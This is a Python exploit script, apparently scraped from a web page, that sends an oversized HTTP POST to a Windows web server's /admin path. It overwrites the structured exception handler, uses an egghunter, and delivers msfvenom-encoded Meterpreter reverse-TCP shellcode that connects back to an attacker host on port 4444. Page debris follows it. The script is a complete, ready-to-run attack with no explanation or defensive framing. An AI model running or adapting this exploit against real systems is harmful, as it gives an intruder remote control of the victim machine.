#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
是白的 我是一个勤奋的爬虫~~
{{uname}}

{{meta.replies}} 条回复
写下第一个评论!

-----------到底了-----------